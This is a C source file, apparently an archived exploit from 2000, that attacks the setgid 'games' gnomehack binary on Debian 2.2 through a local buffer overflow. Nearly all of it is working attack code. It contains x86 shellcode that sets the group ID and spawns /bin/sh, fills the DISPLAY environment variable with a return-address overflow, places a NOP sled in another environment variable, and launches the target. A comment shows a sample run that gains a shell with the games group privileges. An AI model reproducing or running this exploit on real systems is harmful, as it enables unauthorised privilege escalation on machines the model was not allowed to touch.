477bcbdcc0
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105 lines
2.5 KiB
C
Executable file
105 lines
2.5 KiB
C
Executable file
/*
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* (gnomehack) local buffer overflow. (gid=games(60))
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*
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* Author: Cody Tubbs (loophole of hhp).
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* www.hhp-programming.net / pigspigs@yahoo.com
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* 12/17/2000
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*
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* Tested on Debian 2.2, kernel 2.2.17 - x86.
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* sgid "games"(60) by default.
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*
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* bash-2.03$ id
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* uid=1000(loophole) gid=501(noc)
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* bash-2.03$ ./h 0 0
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* Ret-addr 0x7fffe81c, offset: 0, allign: 0.
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* Can't resolve host name "????????????????"!
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* sh-2.03$ id
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* uid=1000(loophole) gid=501(noc) egid=60(games)
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* sh-2.03$
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*/
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#include <stdio.h>
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#define OFFSET 0
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#define ALLIGN 0
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#define NOP 0x90
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#define DBUF 256 //120(RET*30)+((RET))+132(RET*33)
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#define GID 60
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static char shellcode[]=
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"\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x00\x31\xc0"
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"\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3\x00\xb1\x00\x31"
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"\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
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"\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08"
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"\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
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"\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x69";
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long get_sp(void){
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__asm__("movl %esp,%eax");
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}
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void workit(char *heh){
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fprintf(stderr, "\ngnomehack local exploit for Debian 2.2 - x86\n");
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fprintf(stderr, "Author: Cody Tubbs (loophole of hhp)\n\n");
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fprintf(stderr, "Usage: %s <offset> [allign(0..3)]\n", heh);
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fprintf(stderr, "Examp: %s 0\n", heh);
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fprintf(stderr, "Examp: %s 0 1\n", heh);
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exit(1);
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}
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main(int argc, char **argv){
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char eipeip[DBUF], buffer[4096], heh[DBUF+1];
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int i, offset, gid, allign;
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long address;
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if(argc < 2){
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workit(argv[0]);
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}
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if(argc > 1){
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offset = atoi(argv[1]);
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}else{
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offset = OFFSET;
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}
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if(argc > 2){
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allign = atoi(argv[2]);
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}else{
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allign = ALLIGN;
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}
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address = get_sp() - offset;
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if(allign > 0){
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for(i=0;i<allign;i++){
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eipeip[i] = 0x69; //0x69.DOOT:D
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}
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}
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for(i=allign;i<DBUF;i+=4){
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*(long *)&eipeip[i] = address;
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}
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gid = GID;
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shellcode[10] = gid;
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shellcode[22] = gid;
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shellcode[24] = gid;
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for(i=0;i<(4096-strlen(shellcode)-strlen(eipeip));i++){
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buffer[i] = NOP;
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}
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memcpy(heh, eipeip, strlen(eipeip));
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memcpy(heh, "DISPLAY=", 8);//HOME||DISPLAY
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putenv(heh);
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memcpy(buffer+i, shellcode, strlen(shellcode));
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memcpy(buffer, "HACKEX=", 7);
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putenv(buffer);
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fprintf(stderr, "Ret-addr %#x, offset: %d, allign: %d.\n",address, offset, allign);
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execlp("/usr/lib/games/gnomehack/gnomehack", "gnomehack", 0); //Mod path if needed.
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}
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// milw0rm.com [2000-12-04]
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